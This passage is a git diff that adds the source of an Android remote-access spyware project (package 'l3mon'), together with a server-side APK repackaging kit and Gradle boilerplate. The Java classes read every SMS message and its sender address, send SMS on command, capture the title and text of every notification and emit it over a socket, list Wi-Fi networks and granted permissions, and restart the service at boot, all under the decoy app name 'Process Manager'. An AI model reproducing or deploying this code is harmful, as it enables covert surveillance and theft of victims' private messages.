+ String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE);
+ CharSequence contentCs = sbn.getNotification().extras.getCharSequence(Notification.EXTRA_TEXT);
+ String content = "";
+ if(contentCs != null) content = contentCs.toString();
+ long postTime = sbn.getPostTime();
+ String uniqueKey = sbn.getKey();
+
+ JSONObject data = new JSONObject();
+ data.put("appName", appName);
+ data.put("title", title);
+ data.put("content", "" + content);
+ data.put("postTime", postTime);
+ data.put("key", uniqueKey);
+ IOSocket.getInstance().getIoSocket().emit("0xNO" , data);
+ } catch (JSONException e) {
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/PermissionManager.java b/client/app/src/main/java/com/etechd/l3mon/PermissionManager.java
new file mode 100644
index 0000000..0cebaf3
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/PermissionManager.java
@@ -0,0 +1,32 @@
+package com.etechd.l3mon;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+import static com.etechd.l3mon.ConnectionManager.context;
+
+public class PermissionManager {
+
+ public static JSONObject getGrantedPermissions() {
+ JSONObject data = new JSONObject();
+ try {
+ JSONArray perms = new JSONArray();
+ PackageInfo pi = context.getPackageManager().getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS);
+ for (int i = 0; i < pi.requestedPermissions.length; i++) {
+ if ((pi.requestedPermissionsFlags[i] & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0) perms.put(pi.requestedPermissions[i]);
+ }
+ data.put("permissions", perms);
+ } catch (Exception e) {
+ }
+ return data;
+ }
+
+ public static boolean canIUse(String perm) {
+ if(context.getPackageManager().checkPermission(perm, context.getPackageName()) == PackageManager.PERMISSION_GRANTED) return true;
+ else return false;
+ }
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/SMSManager.java b/client/app/src/main/java/com/etechd/l3mon/SMSManager.java
new file mode 100644
index 0000000..24d1924
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/SMSManager.java
@@ -0,0 +1,86 @@
+package com.etechd.l3mon;
+
+import android.content.Context;
+import android.database.Cursor;
+import android.net.Uri;
+import android.telephony.SmsManager;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+public class SMSManager {
+
+ public static JSONObject getsms() {
+ JSONObject result = null;
+ JSONArray jarray = null;
+
+ try {
+
+ jarray = new JSONArray();
+
+ result = new JSONObject();
+ Uri uri = Uri.parse("content://sms/");
+ Context act = MainService.getContextOfApplication();
+ Cursor c= act.getContentResolver().query(uri, null, null ,null,null);
+
+ // Read the sms data and store it in the list
+ if(c.moveToFirst()) {
+
+ for(int i=0; i < c.getCount(); i++) {
+
+ result.put("body",c.getString(c.getColumnIndexOrThrow("body")).toString());
+
+ result.put("date",c.getString(c.getColumnIndexOrThrow("date")).toString());
+ result.put("read",c.getString(c.getColumnIndexOrThrow("read")).toString());
+ result.put("type",c.getString(c.getColumnIndexOrThrow("type")).toString());
+ if((c.getString(c.getColumnIndexOrThrow("type")).toString()).equals("3")) {
+ String threadid = c.getString(c.getColumnIndexOrThrow("thread_id")).toString();
+ Cursor cur= act.getContentResolver().query(Uri.parse("content://mms-sms/conversations?simple=true"), null, "_id ="+threadid ,null,null);
+ if(cur.moveToFirst()) {
+ String recipientId = cur.getString(cur.getColumnIndexOrThrow("recipient_ids")).toString();
+ cur= act.getContentResolver().query(Uri.parse("content://mms-sms/canonical-addresses"), null, "_id = " + recipientId, null, null);
+ if(cur.moveToFirst()) {
+ String address = cur.getString(cur.getColumnIndexOrThrow("address")).toString();
+ result.put("address",address);
+ cur.close();
+ }
+ }
+
+ }else {
+ result.put("address",c.getString(c.getColumnIndexOrThrow("address")).toString());
+ }
+ jarray.put(result);
+ result = new JSONObject();
+
+ c.moveToNext();
+ }
+ }
+ c.close();
+
+ result.put("smslist", jarray);
+
+ } catch (IllegalArgumentException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ } catch (JSONException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ return result;
+ }
+
+ public static boolean sendSMS(String phoneNo, String msg) {
+ try {
+ SmsManager smsManager = SmsManager.getDefault();
+ smsManager.sendTextMessage(phoneNo, null, msg, null, null);
+ return true;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ return false;
+ }
+
+ }
+
+
+}
diff --git a/client/app/src/main/java/com/etechd/l3mon/ServiceReciever.java b/client/app/src/main/java/com/etechd/l3mon/ServiceReciever.java
new file mode 100644
index 0000000..bb3114b
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/ServiceReciever.java
@@ -0,0 +1,14 @@
+package com.etechd.l3mon;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class ServiceReciever extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ context.startService(new Intent(context.getApplicationContext(), MainService.class));
+
+ }
+}
\ No newline at end of file
diff --git a/client/app/src/main/java/com/etechd/l3mon/WifiScanner.java b/client/app/src/main/java/com/etechd/l3mon/WifiScanner.java
new file mode 100644
index 0000000..7fedf5d
--- /dev/null
+++ b/client/app/src/main/java/com/etechd/l3mon/WifiScanner.java
@@ -0,0 +1,43 @@
+package com.etechd.l3mon;
+
+import android.content.Context;
+import android.net.wifi.WifiManager;
+
+import android.net.wifi.ScanResult;
+import android.util.Log;
+
+import org.json.JSONArray;
+import org.json.JSONObject;
+
+import java.util.List;
+
+public class WifiScanner {
+
+ public static JSONObject scan(Context context) {
+ try {
+ JSONObject dRet = new JSONObject();
+ JSONArray jSONArray = new JSONArray();
+ WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+ if (wifiManager != null && wifiManager.isWifiEnabled()) {
+ List scanResults = wifiManager.getScanResults();
+ if (scanResults != null && scanResults.size() > 0) {
+ int i = 0;
+ while (i < scanResults.size() && i < 10) {
+ ScanResult scanResult = (ScanResult) scanResults.get(i);
+ JSONObject jSONObject = new JSONObject();
+ jSONObject.put("BSSID", scanResult.BSSID);
+ jSONObject.put("SSID", scanResult.SSID);
+ jSONArray.put(jSONObject);
+ i++;
+ }
+ dRet.put("networks", jSONArray);
+ return dRet;
+ }
+ }
+ return dRet;
+ } catch (Throwable th) {
+ Log.e("MtaSDK", "isWifiNet error", th);
+ return null;
+ }
+ }
+}
diff --git a/client/app/src/main/res/layout/activity_main.xml b/client/app/src/main/res/layout/activity_main.xml
new file mode 100644
index 0000000..639be30
--- /dev/null
+++ b/client/app/src/main/res/layout/activity_main.xml
@@ -0,0 +1,29 @@
+
+
+
+
+
+
+
+
+
+
diff --git a/client/app/src/main/res/mipmap-hdpi/ic_launcher.png b/client/app/src/main/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 0000000..cde69bc
Binary files /dev/null and b/client/app/src/main/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-mdpi/ic_launcher.png b/client/app/src/main/res/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 0000000..c133a0c
Binary files /dev/null and b/client/app/src/main/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
new file mode 100644
index 0000000..bfa42f0
Binary files /dev/null and b/client/app/src/main/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
new file mode 100644
index 0000000..324e72c
Binary files /dev/null and b/client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
new file mode 100644
index 0000000..aee44e1
Binary files /dev/null and b/client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/client/app/src/main/res/values-w820dp/dimens.xml b/client/app/src/main/res/values-w820dp/dimens.xml
new file mode 100644
index 0000000..63fc816
--- /dev/null
+++ b/client/app/src/main/res/values-w820dp/dimens.xml
@@ -0,0 +1,6 @@
+
+
+ 64dp
+
diff --git a/client/app/src/main/res/values/colors.xml b/client/app/src/main/res/values/colors.xml
new file mode 100644
index 0000000..3ab3e9c
--- /dev/null
+++ b/client/app/src/main/res/values/colors.xml
@@ -0,0 +1,6 @@
+
+
+ #3F51B5
+ #303F9F
+ #FF4081
+
diff --git a/client/app/src/main/res/values/dimens.xml b/client/app/src/main/res/values/dimens.xml
new file mode 100644
index 0000000..47c8224
--- /dev/null
+++ b/client/app/src/main/res/values/dimens.xml
@@ -0,0 +1,5 @@
+
+
+ 16dp
+ 16dp
+
diff --git a/client/app/src/main/res/values/strings.xml b/client/app/src/main/res/values/strings.xml
new file mode 100644
index 0000000..2259f06
--- /dev/null
+++ b/client/app/src/main/res/values/strings.xml
@@ -0,0 +1,3 @@
+
+ Process Manager
+
diff --git a/client/app/src/main/res/values/styles.xml b/client/app/src/main/res/values/styles.xml
new file mode 100644
index 0000000..ff6c9d2
--- /dev/null
+++ b/client/app/src/main/res/values/styles.xml
@@ -0,0 +1,8 @@
+
+
+
+
+
+
diff --git a/client/build.gradle b/client/build.gradle
new file mode 100644
index 0000000..aae5710
--- /dev/null
+++ b/client/build.gradle
@@ -0,0 +1,32 @@
+// Top-level build file where you can add configuration options common to all sub-projects/modules.
+
+buildscript {
+ repositories {
+ jcenter()
+ maven {
+ url 'https://maven.google.com/'
+ name 'Google'
+ }
+ google()
+ }
+ dependencies {
+ classpath 'com.android.tools.build:gradle:3.4.2'
+
+ // NOTE: Do not place your application dependencies here; they belong
+ // in the individual module build.gradle files
+ }
+}
+
+allprojects {
+ repositories {
+ jcenter()
+ maven {
+ url 'https://maven.google.com/'
+ name 'Google'
+ }
+ }
+}
+
+task clean(type: Delete) {
+ delete rootProject.buildDir
+}
diff --git a/client/client.iml b/client/client.iml
new file mode 100644
index 0000000..2304873
--- /dev/null
+++ b/client/client.iml
@@ -0,0 +1,19 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/gradle.properties b/client/gradle.properties
new file mode 100644
index 0000000..aac7c9b
--- /dev/null
+++ b/client/gradle.properties
@@ -0,0 +1,17 @@
+# Project-wide Gradle settings.
+
+# IDE (e.g. Android Studio) users:
+# Gradle settings configured through the IDE *will override*
+# any settings specified in this file.
+
+# For more details on how to configure your build environment visit
+# http://www.gradle.org/docs/current/userguide/build_environment.html
+
+# Specifies the JVM arguments used for the daemon process.
+# The setting is particularly useful for tweaking memory settings.
+org.gradle.jvmargs=-Xmx1536m
+
+# When configured, Gradle will run in incubating parallel mode.
+# This option should only be used with decoupled projects. More details, visit
+# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
+# org.gradle.parallel=true
diff --git a/client/gradle/wrapper/gradle-wrapper.jar b/client/gradle/wrapper/gradle-wrapper.jar
new file mode 100644
index 0000000..13372ae
Binary files /dev/null and b/client/gradle/wrapper/gradle-wrapper.jar differ
diff --git a/client/gradle/wrapper/gradle-wrapper.properties b/client/gradle/wrapper/gradle-wrapper.properties
new file mode 100644
index 0000000..0b39c47
--- /dev/null
+++ b/client/gradle/wrapper/gradle-wrapper.properties
@@ -0,0 +1,6 @@
+#Sat Aug 17 21:49:49 BST 2019
+distributionBase=GRADLE_USER_HOME
+distributionPath=wrapper/dists
+zipStoreBase=GRADLE_USER_HOME
+zipStorePath=wrapper/dists
+distributionUrl=https\://services.gradle.org/distributions/gradle-5.1.1-all.zip
diff --git a/client/gradlew b/client/gradlew
new file mode 100644
index 0000000..9d82f78
--- /dev/null
+++ b/client/gradlew
@@ -0,0 +1,160 @@
+#!/usr/bin/env bash
+
+##############################################################################
+##
+## Gradle start up script for UN*X
+##
+##############################################################################
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS=""
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn ( ) {
+ echo "$*"
+}
+
+die ( ) {
+ echo
+ echo "$*"
+ echo
+ exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+case "`uname`" in
+ CYGWIN* )
+ cygwin=true
+ ;;
+ Darwin* )
+ darwin=true
+ ;;
+ MINGW* )
+ msys=true
+ ;;
+esac
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG=`dirname "$PRG"`"/$link"
+ fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ if [ ! -x "$JAVACMD" ] ; then
+ die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+ fi
+else
+ JAVACMD="java"
+ which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
+ MAX_FD_LIMIT=`ulimit -H -n`
+ if [ $? -eq 0 ] ; then
+ if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+ MAX_FD="$MAX_FD_LIMIT"
+ fi
+ ulimit -n $MAX_FD
+ if [ $? -ne 0 ] ; then
+ warn "Could not set maximum file descriptor limit: $MAX_FD"
+ fi
+ else
+ warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+ fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+ GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin ; then
+ APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+ CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+ JAVACMD=`cygpath --unix "$JAVACMD"`
+
+ # We build the pattern for arguments to be converted via cygpath
+ ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+ SEP=""
+ for dir in $ROOTDIRSRAW ; do
+ ROOTDIRS="$ROOTDIRS$SEP$dir"
+ SEP="|"
+ done
+ OURCYGPATTERN="(^($ROOTDIRS))"
+ # Add a user-defined pattern to the cygpath arguments
+ if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+ OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+ fi
+ # Now convert the arguments - kludge to limit ourselves to /bin/sh
+ i=0
+ for arg in "$@" ; do
+ CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+ CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
+
+ if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
+ eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+ else
+ eval `echo args$i`="\"$arg\""
+ fi
+ i=$((i+1))
+ done
+ case $i in
+ (0) set -- ;;
+ (1) set -- "$args0" ;;
+ (2) set -- "$args0" "$args1" ;;
+ (3) set -- "$args0" "$args1" "$args2" ;;
+ (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+ (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+ (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+ (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+ (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+ (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+ esac
+fi
+
+# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
+function splitJvmOpts() {
+ JVM_OPTS=("$@")
+}
+eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
+JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
+
+exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
diff --git a/client/gradlew.bat b/client/gradlew.bat
new file mode 100644
index 0000000..aec9973
--- /dev/null
+++ b/client/gradlew.bat
@@ -0,0 +1,90 @@
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS=
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto init
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto init
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:init
+@rem Get command-line arguments, handling Windowz variants
+
+if not "%OS%" == "Windows_NT" goto win9xME_args
+if "%@eval[2+2]" == "4" goto 4NT_args
+
+:win9xME_args
+@rem Slurp the command line arguments.
+set CMD_LINE_ARGS=
+set _SKIP=2
+
+:win9xME_args_slurp
+if "x%~1" == "x" goto execute
+
+set CMD_LINE_ARGS=%*
+goto execute
+
+:4NT_args
+@rem Get arguments from the 4NT Shell from JP Software
+set CMD_LINE_ARGS=%$
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega
diff --git a/client/local.properties b/client/local.properties
new file mode 100644
index 0000000..b1318a5
--- /dev/null
+++ b/client/local.properties
@@ -0,0 +1,8 @@
+## This file must *NOT* be checked into Version Control Systems,
+# as it contains information specific to your local configuration.
+#
+# Location of the SDK. This is only used by Gradle.
+# For customization when using a Version Control System, please read the
+# header note.
+#Sat Aug 17 21:46:39 BST 2019
+sdk.dir=C\:\\Users\\Jack\\AppData\\Local\\Android\\Sdk
diff --git a/client/settings.gradle b/client/settings.gradle
new file mode 100644
index 0000000..e7b4def
--- /dev/null
+++ b/client/settings.gradle
@@ -0,0 +1 @@
+include ':app'
diff --git a/server/app/factory/apktool.jar b/server/app/factory/apktool.jar
new file mode 100644
index 0000000..7ee24ce
Binary files /dev/null and b/server/app/factory/apktool.jar differ
diff --git a/server/app/factory/base.apk b/server/app/factory/base.apk
new file mode 100644
index 0000000..85f40e0
Binary files /dev/null and b/server/app/factory/base.apk differ
diff --git a/server/app/factory/decompiled/AndroidManifest.xml b/server/app/factory/decompiled/AndroidManifest.xml
new file mode 100644
index 0000000..2cbfb3b
--- /dev/null
+++ b/server/app/factory/decompiled/AndroidManifest.xml
@@ -0,0 +1,47 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server/app/factory/decompiled/apktool.yml b/server/app/factory/decompiled/apktool.yml
new file mode 100644
index 0000000..d866605
--- /dev/null
+++ b/server/app/factory/decompiled/apktool.yml
@@ -0,0 +1,24 @@
+!!brut.androlib.meta.MetaInfo
+apkFileName: base.apk
+compressionType: false
+doNotCompress:
+- arsc
+- png
+isFrameworkApk: false
+packageInfo:
+ forcedPackageId: '127'
+ renameManifestPackage: null
+sdkInfo:
+ minSdkVersion: '11'
+ targetSdkVersion: '24'
+sharedLibrary: false
+sparseResources: false
+unknownFiles: {}
+usesFramework:
+ ids:
+ - 1
+ tag: null
+version: 2.4.0
+versionInfo:
+ versionCode: '1'
+ versionName: '1.0'
diff --git a/server/app/factory/decompiled/build/apk/AndroidManifest.xml b/server/app/factory/decompiled/build/apk/AndroidManifest.xml
new file mode 100644
index 0000000..96331c6
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/AndroidManifest.xml differ
diff --git a/server/app/factory/decompiled/build/apk/classes.dex b/server/app/factory/decompiled/build/apk/classes.dex
new file mode 100644
index 0000000..2ea7378
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/classes.dex differ
diff --git a/server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml b/server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml
new file mode 100644
index 0000000..cdb5f67
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml differ
diff --git a/server/app/factory/decompiled/build/apk/res/layout/activity_main.xml b/server/app/factory/decompiled/build/apk/res/layout/activity_main.xml
new file mode 100644
index 0000000..5f378e2
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/layout/activity_main.xml differ
diff --git a/server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png b/server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 0000000..1dbefa9
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png b/server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 0000000..c8e2986
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png b/server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png
new file mode 100644
index 0000000..c0cad09
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png b/server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png
new file mode 100644
index 0000000..82b5407
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png b/server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png
new file mode 100644
index 0000000..e33de9c
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/build/apk/resources.arsc b/server/app/factory/decompiled/build/apk/resources.arsc
new file mode 100644
index 0000000..904fea4
Binary files /dev/null and b/server/app/factory/decompiled/build/apk/resources.arsc differ
diff --git a/server/app/factory/decompiled/original/AndroidManifest.xml b/server/app/factory/decompiled/original/AndroidManifest.xml
new file mode 100644
index 0000000..3c85c35
Binary files /dev/null and b/server/app/factory/decompiled/original/AndroidManifest.xml differ
diff --git a/server/app/factory/decompiled/original/META-INF/CERT.RSA b/server/app/factory/decompiled/original/META-INF/CERT.RSA
new file mode 100644
index 0000000..f82920e
Binary files /dev/null and b/server/app/factory/decompiled/original/META-INF/CERT.RSA differ
diff --git a/server/app/factory/decompiled/original/META-INF/CERT.SF b/server/app/factory/decompiled/original/META-INF/CERT.SF
new file mode 100644
index 0000000..2944276
--- /dev/null
+++ b/server/app/factory/decompiled/original/META-INF/CERT.SF
@@ -0,0 +1,35 @@
+Signature-Version: 1.0
+Created-By: 1.0 (Android)
+SHA1-Digest-Manifest: pm5TvSNi16Ol/X4YYNiJRba0DUY=
+X-Android-APK-Signed: 2
+
+Name: AndroidManifest.xml
+SHA1-Digest: gXSXejBUkPeuZhOu1yuiHqQeTaA=
+
+Name: classes.dex
+SHA1-Digest: rB8Afn6vf1pahMH/ngOAgOBbbB4=
+
+Name: res/layout-v17/activity_main.xml
+SHA1-Digest: M5WyGyXAf2YfyxbpvAFTz15vzxM=
+
+Name: res/layout/activity_main.xml
+SHA1-Digest: ISml5/kpf13n1scryKiS6UGwrtw=
+
+Name: res/mipmap-hdpi-v4/ic_launcher.png
+SHA1-Digest: 0GPLI5clOisH/92tQ6Af+F3ISFM=
+
+Name: res/mipmap-mdpi-v4/ic_launcher.png
+SHA1-Digest: VbZayF+2BxfDoYjdttxKwjRN2Kc=
+
+Name: res/mipmap-xhdpi-v4/ic_launcher.png
+SHA1-Digest: Vh4HGlhg/noLgnEYBPQl+8t1T8s=
+
+Name: res/mipmap-xxhdpi-v4/ic_launcher.png
+SHA1-Digest: ZrYhU50BDH4ZvicBNdTbk26CxPU=
+
+Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
+SHA1-Digest: fyEuR5AsiwCxRt1+sW6c3koFCGs=
+
+Name: resources.arsc
+SHA1-Digest: rVaOUkXRkr29IKtlewD5L3z8t2M=
+
diff --git a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..a45fb0e
--- /dev/null
+++ b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
@@ -0,0 +1,34 @@
+Manifest-Version: 1.0
+Built-By: Generated-by-ADT
+Created-By: Android Gradle 3.4.2
+
+Name: AndroidManifest.xml
+SHA1-Digest: Gx0KrD9YfsfP1PrGR6carQcCkWo=
+
+Name: classes.dex
+SHA1-Digest: ldGWtGYoAj+3SkgTwEEXAs6diXM=
+
+Name: res/layout-v17/activity_main.xml
+SHA1-Digest: mUE8iCQVgfGkCKmfJqfXP/dG53I=
+
+Name: res/layout/activity_main.xml
+SHA1-Digest: ZIJV8JLldsF9ghldjhRsLK4zR8E=
+
+Name: res/mipmap-hdpi-v4/ic_launcher.png
+SHA1-Digest: p49I/p+RFPMV3Hnv8pRS6T/9cJo=
+
+Name: res/mipmap-mdpi-v4/ic_launcher.png
+SHA1-Digest: robJ8v7+sKEvnjUJdTObxYDv2BM=
+
+Name: res/mipmap-xhdpi-v4/ic_launcher.png
+SHA1-Digest: ysIv9ZSzuvbREfV0BfJ7SFRjpow=
+
+Name: res/mipmap-xxhdpi-v4/ic_launcher.png
+SHA1-Digest: QdwVTk//+RqysHCkzgrRXlBXG+o=
+
+Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
+SHA1-Digest: Qpz8t8Fh5f1gyfFVpkNrpcePevc=
+
+Name: resources.arsc
+SHA1-Digest: xkLNKeWhR3i9znao0vkpdPZxFdM=
+
diff --git a/server/app/factory/decompiled/res/layout-v17/activity_main.xml b/server/app/factory/decompiled/res/layout-v17/activity_main.xml
new file mode 100644
index 0000000..5563100
--- /dev/null
+++ b/server/app/factory/decompiled/res/layout-v17/activity_main.xml
@@ -0,0 +1,7 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server/app/factory/decompiled/res/layout/activity_main.xml b/server/app/factory/decompiled/res/layout/activity_main.xml
new file mode 100644
index 0000000..a0a7cc4
--- /dev/null
+++ b/server/app/factory/decompiled/res/layout/activity_main.xml
@@ -0,0 +1,7 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png
new file mode 100644
index 0000000..cde69bc
Binary files /dev/null and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png differ
